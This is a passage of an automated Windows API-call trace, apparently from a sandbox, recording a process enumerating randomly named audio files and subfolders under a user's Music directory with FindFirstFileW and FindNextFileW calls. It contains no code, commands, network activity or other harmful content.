returned 1 [0222.237] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.237] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0222.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0222.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0222.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0222.237] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu", lpFilePart=0x0) returned 0x30 [0222.237] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e444c0, ftCreationTime.dwHighDateTime=0x1d990b1, ftLastAccessTime.dwLowDateTime=0xf0f6a350, ftLastAccessTime.dwHighDateTime=0x1d99617, ftLastWriteTime.dwLowDateTime=0xf0f6a350, ftLastWriteTime.dwHighDateTime=0x1d99617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0222.237] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6e444c0, ftCreationTime.dwHighDateTime=0x1d990b1, ftLastAccessTime.dwLowDateTime=0xf0f6a350, ftLastAccessTime.dwHighDateTime=0x1d99617, ftLastWriteTime.dwLowDateTime=0xf0f6a350, ftLastWriteTime.dwHighDateTime=0x1d99617, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.238] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0683aa0, ftCreationTime.dwHighDateTime=0x1d99890, ftLastAccessTime.dwLowDateTime=0x7a5d86d0, ftLastAccessTime.dwHighDateTime=0x1d999cf, ftLastWriteTime.dwLowDateTime=0x7a5d86d0, ftLastWriteTime.dwHighDateTime=0x1d999cf, nFileSizeHigh=0x0, nFileSizeLow=0x8a3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="aTgKnI_pniJG8npbG56.m4a", cAlternateFileName="ATGKNI~1.M4A")) returned 1 [0222.238] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4403d70, ftCreationTime.dwHighDateTime=0x1d99696, ftLastAccessTime.dwLowDateTime=0xe29402e0, ftLastAccessTime.dwHighDateTime=0x1d997a1, ftLastWriteTime.dwLowDateTime=0xe29402e0, ftLastWriteTime.dwHighDateTime=0x1d997a1, nFileSizeHigh=0x0, nFileSizeLow=0x5436, dwReserved0=0x0, dwReserved1=0x0, cFileName="btxow_id.wav", cAlternateFileName="")) returned 1 [0222.238] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eeb2c00, ftCreationTime.dwHighDateTime=0x1d99259, ftLastAccessTime.dwLowDateTime=0xa18dabb0, ftLastAccessTime.dwHighDateTime=0x1d9946e, ftLastWriteTime.dwLowDateTime=0xa18dabb0, ftLastWriteTime.dwHighDateTime=0x1d9946e, nFileSizeHigh=0x0, nFileSizeLow=0xa48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eI1WlHyca7ANpOi8.wav", cAlternateFileName="EI1WLH~1.WAV")) returned 1 [0222.238] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59fdce0, ftCreationTime.dwHighDateTime=0x1d992df, ftLastAccessTime.dwLowDateTime=0x8680c7f0, ftLastAccessTime.dwHighDateTime=0x1d9934a, ftLastWriteTime.dwLowDateTime=0x8680c7f0, ftLastWriteTime.dwHighDateTime=0x1d9934a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="f4xmbf99KrbcfOyr", cAlternateFileName="F4XMBF~1")) returned 1 [0222.238] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c85caa0, ftCreationTime.dwHighDateTime=0x1d99b67, ftLastAccessTime.dwLowDateTime=0x898ee210, ftLastAccessTime.dwHighDateTime=0x1d99bec, ftLastWriteTime.dwLowDateTime=0x898ee210, ftLastWriteTime.dwHighDateTime=0x1d99bec, nFileSizeHigh=0x0, nFileSizeLow=0x2c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LfMeL4QEZM34.m4a", cAlternateFileName="LFMEL4~1.M4A")) returned 1 [0222.238] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c85caa0, ftCreationTime.dwHighDateTime=0x1d99b67, ftLastAccessTime.dwLowDateTime=0x898ee210, ftLastAccessTime.dwHighDateTime=0x1d99bec, ftLastWriteTime.dwLowDateTime=0x898ee210, ftLastWriteTime.dwHighDateTime=0x1d99bec, nFileSizeHigh=0x0, nFileSizeLow=0x2c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LfMeL4QEZM34.m4a", cAlternateFileName="LFMEL4~1.M4A")) returned 0 [0222.239] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0222.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0222.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0222.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0222.239] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr", lpFilePart=0x0) returned 0x41 [0222.239] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\f4xmbf99krbcfoyr\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59fdce0, ftCreationTime.dwHighDateTime=0x1d992df, ftLastAccessTime.dwLowDateTime=0x8680c7f0, ftLastAccessTime.dwHighDateTime=0x1d9934a, ftLastWriteTime.dwLowDateTime=0x8680c7f0, ftLastWriteTime.dwHighDateTime=0x1d9934a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0222.239] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59fdce0, ftCreationTime.dwHighDateTime=0x1d992df, ftLastAccessTime.dwLowDateTime=0x8680c7f0, ftLastAccessTime.dwHighDateTime=0x1d9934a, ftLastWriteTime.dwLowDateTime=0x8680c7f0, ftLastWriteTime.dwHighDateTime=0x1d9934a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.240] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea6fa40, ftCreationTime.dwHighDateTime=0x1d99088, ftLastAccessTime.dwLowDateTime=0x8b01e400, ftLastAccessTime.dwHighDateTime=0x1d9916d, ftLastWriteTime.dwLowDateTime=0x8b01e400, ftLastWriteTime.dwHighDateTime=0x1d9916d, nFileSizeHigh=0x0, nFileSizeLow=0xb662, dwReserved0=0x0, dwReserved1=0x0, cFileName="c4lZpCxppjeBHyN.mp3", cAlternateFileName="C4LZPC~1.MP3")) returned 1 [0222.240] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf796330, ftCreationTime.dwHighDateTime=0x1d99b9d, ftLastAccessTime.dwLowDateTime=0x44ade150, ftLastAccessTime.dwHighDateTime=0x1d99bf1, ftLastWriteTime.dwLowDateTime=0x44ade150, ftLastWriteTime.dwHighDateTime=0x1d99bf1, nFileSizeHigh=0x0, nFileSizeLow=0xaecb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cC1wTU00P7O.wav", cAlternateFileName="CC1WTU~1.WAV")) returned 1 [0222.240] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63cac680, ftCreationTime.dwHighDateTime=0x1d990c9, ftLastAccessTime.dwLowDateTime=0x31efede0, ftLastAccessTime.dwHighDateTime=0x1d99437, ftLastWriteTime.dwLowDateTime=0x31efede0, ftLastWriteTime.dwHighDateTime=0x1d99437, nFileSizeHigh=0x0, nFileSizeLow=0x5433, dwReserved0=0x0, dwReserved1=0x0, cFileName="EwfBj-i8M_JKF DR.mp3", cAlternateFileName="EWFBJ-~1.MP3")) returned 1 [0222.240] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf318040, ftCreationTime.dwHighDateTime=0x1d98efe, ftLastAccessTime.dwLowDateTime=0xdab32390, ftLastAccessTime.dwHighDateTime=0x1d99bfb, ftLastWriteTime.dwLowDateTime=0xdab32390, ftLastWriteTime.dwHighDateTime=0x1d99bfb, nFileSizeHigh=0x0, nFileSizeLow=0x18137, dwReserved0=0x0, dwReserved1=0x0, cFileName="EzVfcRYT27b4.wav", cAlternateFileName="EZVFCR~1.WAV")) returned 1 [0222.240] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25868430, ftCreationTime.dwHighDateTime=0x1d99336, ftLastAccessTime.dwLowDateTime=0x33a9b810, ftLastAccessTime.dwHighDateTime=0x1d997f6, ftLastWriteTime.dwLowDateTime=0x33a9b810, ftLastWriteTime.dwHighDateTime=0x1d997f6, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffX0hzb5yBdl.mp3", cAlternateFileName="FFX0HZ~1.MP3")) returned 1 [0222.240] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35531380, ftCreationTime.dwHighDateTime=0x1d98efc, ftLastAccessTime.dwLowDateTime=0x6e08f800, ftLastAccessTime.dwHighDateTime=0x1d99a6b, ftLastWriteTime.dwLowDateTime=0x6e08f800, ftLastWriteTime.dwHighDateTime=0x1d99a6b, nFileSizeHigh=0x0, nFileSizeLow=0x13536, dwReserved0=0x0, dwReserved1=0x0, cFileName="KHBbyYx.mp3", cAlternateFileName="")) returned 1 [0222.240] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2298090, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x24befd60, ftLastAccessTime.dwHighDateTime=0x1d99d19, ftLastWriteTime.dwLowDateTime=0x24befd60, ftLastWriteTime.dwHighDateTime=0x1d99d19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L0uSAP", cAlternateFileName="")) returned 1 [0222.241] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7eafd70, ftCreationTime.dwHighDateTime=0x1d997ca, ftLastAccessTime.dwLowDateTime=0x9d7b0630, ftLastAccessTime.dwHighDateTime=0x1d999eb, ftLastWriteTime.dwLowDateTime=0x9d7b0630, ftLastWriteTime.dwHighDateTime=0x1d999eb, nFileSizeHigh=0x0, nFileSizeLow=0x16cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MuHfys5FI-3pQp.wav", cAlternateFileName="MUHFYS~1.WAV")) returned 1 [0222.241] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c536280, ftCreationTime.dwHighDateTime=0x1d99d0d, ftLastAccessTime.dwLowDateTime=0x8c6802f0, ftLastAccessTime.dwHighDateTime=0x1d99d0e, ftLastWriteTime.dwLowDateTime=0x8c6802f0, ftLastWriteTime.dwHighDateTime=0x1d99d0e, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="r9K4S4KJBa W.wav", cAlternateFileName="R9K4S4~1.WAV")) returned 1 [0222.241] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8ab910, ftCreationTime.dwHighDateTime=0x1d990f6, ftLastAccessTime.dwLowDateTime=0x24cad320, ftLastAccessTime.dwHighDateTime=0x1d99598, ftLastWriteTime.dwLowDateTime=0x24cad320, ftLastWriteTime.dwHighDateTime=0x1d99598, nFileSizeHigh=0x0, nFileSizeLow=0x8a79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y0LkYo7L6a7eAG.mp3", cAlternateFileName="Y0LKYO~1.MP3")) returned 1 [0222.241] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.241] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0222.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0222.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0222.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0222.241] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr", lpFilePart=0x0) returned 0x41 [0222.242] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\f4xmbf99krbcfoyr\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59fdce0, ftCreationTime.dwHighDateTime=0x1d992df, ftLastAccessTime.dwLowDateTime=0x8680c7f0, ftLastAccessTime.dwHighDateTime=0x1d9934a, ftLastWriteTime.dwLowDateTime=0x8680c7f0, ftLastWriteTime.dwHighDateTime=0x1d9934a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0222.242] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa59fdce0, ftCreationTime.dwHighDateTime=0x1d992df, ftLastAccessTime.dwLowDateTime=0x8680c7f0, ftLastAccessTime.dwHighDateTime=0x1d9934a, ftLastWriteTime.dwLowDateTime=0x8680c7f0, ftLastWriteTime.dwHighDateTime=0x1d9934a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.242] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea6fa40, ftCreationTime.dwHighDateTime=0x1d99088, ftLastAccessTime.dwLowDateTime=0x8b01e400, ftLastAccessTime.dwHighDateTime=0x1d9916d, ftLastWriteTime.dwLowDateTime=0x8b01e400, ftLastWriteTime.dwHighDateTime=0x1d9916d, nFileSizeHigh=0x0, nFileSizeLow=0xb662, dwReserved0=0x0, dwReserved1=0x0, cFileName="c4lZpCxppjeBHyN.mp3", cAlternateFileName="C4LZPC~1.MP3")) returned 1 [0222.242] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf796330, ftCreationTime.dwHighDateTime=0x1d99b9d, ftLastAccessTime.dwLowDateTime=0x44ade150, ftLastAccessTime.dwHighDateTime=0x1d99bf1, ftLastWriteTime.dwLowDateTime=0x44ade150, ftLastWriteTime.dwHighDateTime=0x1d99bf1, nFileSizeHigh=0x0, nFileSizeLow=0xaecb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cC1wTU00P7O.wav", cAlternateFileName="CC1WTU~1.WAV")) returned 1 [0222.242] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63cac680, ftCreationTime.dwHighDateTime=0x1d990c9, ftLastAccessTime.dwLowDateTime=0x31efede0, ftLastAccessTime.dwHighDateTime=0x1d99437, ftLastWriteTime.dwLowDateTime=0x31efede0, ftLastWriteTime.dwHighDateTime=0x1d99437, nFileSizeHigh=0x0, nFileSizeLow=0x5433, dwReserved0=0x0, dwReserved1=0x0, cFileName="EwfBj-i8M_JKF DR.mp3", cAlternateFileName="EWFBJ-~1.MP3")) returned 1 [0222.243] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf318040, ftCreationTime.dwHighDateTime=0x1d98efe, ftLastAccessTime.dwLowDateTime=0xdab32390, ftLastAccessTime.dwHighDateTime=0x1d99bfb, ftLastWriteTime.dwLowDateTime=0xdab32390, ftLastWriteTime.dwHighDateTime=0x1d99bfb, nFileSizeHigh=0x0, nFileSizeLow=0x18137, dwReserved0=0x0, dwReserved1=0x0, cFileName="EzVfcRYT27b4.wav", cAlternateFileName="EZVFCR~1.WAV")) returned 1 [0222.243] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25868430, ftCreationTime.dwHighDateTime=0x1d99336, ftLastAccessTime.dwLowDateTime=0x33a9b810, ftLastAccessTime.dwHighDateTime=0x1d997f6, ftLastWriteTime.dwLowDateTime=0x33a9b810, ftLastWriteTime.dwHighDateTime=0x1d997f6, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffX0hzb5yBdl.mp3", cAlternateFileName="FFX0HZ~1.MP3")) returned 1 [0222.243] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35531380, ftCreationTime.dwHighDateTime=0x1d98efc, ftLastAccessTime.dwLowDateTime=0x6e08f800, ftLastAccessTime.dwHighDateTime=0x1d99a6b, ftLastWriteTime.dwLowDateTime=0x6e08f800, ftLastWriteTime.dwHighDateTime=0x1d99a6b, nFileSizeHigh=0x0, nFileSizeLow=0x13536, dwReserved0=0x0, dwReserved1=0x0, cFileName="KHBbyYx.mp3", cAlternateFileName="")) returned 1 [0222.243] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2298090, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x24befd60, ftLastAccessTime.dwHighDateTime=0x1d99d19, ftLastWriteTime.dwLowDateTime=0x24befd60, ftLastWriteTime.dwHighDateTime=0x1d99d19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L0uSAP", cAlternateFileName="")) returned 1 [0222.243] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7eafd70, ftCreationTime.dwHighDateTime=0x1d997ca, ftLastAccessTime.dwLowDateTime=0x9d7b0630, ftLastAccessTime.dwHighDateTime=0x1d999eb, ftLastWriteTime.dwLowDateTime=0x9d7b0630, ftLastWriteTime.dwHighDateTime=0x1d999eb, nFileSizeHigh=0x0, nFileSizeLow=0x16cc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MuHfys5FI-3pQp.wav", cAlternateFileName="MUHFYS~1.WAV")) returned 1 [0222.243] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c536280, ftCreationTime.dwHighDateTime=0x1d99d0d, ftLastAccessTime.dwLowDateTime=0x8c6802f0, ftLastAccessTime.dwHighDateTime=0x1d99d0e, ftLastWriteTime.dwLowDateTime=0x8c6802f0, ftLastWriteTime.dwHighDateTime=0x1d99d0e, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="r9K4S4KJBa W.wav", cAlternateFileName="R9K4S4~1.WAV")) returned 1 [0222.244] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8ab910, ftCreationTime.dwHighDateTime=0x1d990f6, ftLastAccessTime.dwLowDateTime=0x24cad320, ftLastAccessTime.dwHighDateTime=0x1d99598, ftLastWriteTime.dwLowDateTime=0x24cad320, ftLastWriteTime.dwHighDateTime=0x1d99598, nFileSizeHigh=0x0, nFileSizeLow=0x8a79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y0LkYo7L6a7eAG.mp3", cAlternateFileName="Y0LKYO~1.MP3")) returned 1 [0222.244] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8ab910, ftCreationTime.dwHighDateTime=0x1d990f6, ftLastAccessTime.dwLowDateTime=0x24cad320, ftLastAccessTime.dwHighDateTime=0x1d99598, ftLastWriteTime.dwLowDateTime=0x24cad320, ftLastWriteTime.dwHighDateTime=0x1d99598, nFileSizeHigh=0x0, nFileSizeLow=0x8a79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y0LkYo7L6a7eAG.mp3", cAlternateFileName="Y0LKYO~1.MP3")) returned 0 [0222.244] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0222.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0222.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0222.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d830) returned 1 [0222.244] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP", lpFilePart=0x0) returned 0x48 [0222.244] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Music\\y9QGRligVgFrBOZssbFu\\f4xmbf99KrbcfOyr\\L0uSAP\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\music\\y9qgrligvgfrbozssbfu\\f4xmbf99krbcfoyr\\l0usap\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2298090, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x24befd60, ftLastAccessTime.dwHighDateTime=0x1d99d19, ftLastWriteTime.dwLowDateTime=0x24befd60, ftLastWriteTime.dwHighDateTime=0x1d99d19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5b90 [0222.245] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2298090, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0x24befd60, ftLastAccessTime.dwHighDateTime=0x1d99d19, ftLastWriteTime.dwLowDateTime=0x24befd60, ftLastWriteTime.dwHighDateTime=0x1d99d19, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.245] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ff5dbb0, ftCreationTime.dwHighDateTime=0x1d9992b, ftLastAccessTime.dwLowDateTime=0xeaf90de0, ftLastAccessTime.dwHighDateTime=0x1d99abc, ftLastWriteTime.dwLowDateTime=0xeaf90de0, ftLastWriteTime.dwHighDateTime=0x1d99abc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2yRD1tM7BUYJ", cAlternateFileName="2YRD1T~1")) returned 1 [0222.245] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2e0f040, ftCreationTime.dwHighDateTime=0x1d9942c, ftLastAccessTime.dwLowDateTime=0x71efdfc0, ftLastAccessTime.dwHighDateTime=0x1d99966, ftLastWriteTime.dwLowDateTime=0x71efdfc0, ftLastWriteTime.dwHighDateTime=0x1d99966, nFileSizeHigh=0x0, nFileSizeLow=0x12c44, 